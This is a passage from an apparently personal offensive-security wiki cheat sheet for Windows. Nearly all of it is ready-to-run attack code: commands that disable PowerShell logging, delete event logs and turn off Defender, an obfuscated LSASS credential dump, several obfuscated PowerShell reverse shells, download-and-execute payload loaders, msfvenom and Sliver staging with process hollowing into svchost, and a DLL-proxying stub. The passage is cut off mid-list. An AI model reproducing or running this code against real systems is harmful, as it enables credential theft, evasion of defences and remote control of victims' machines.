[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
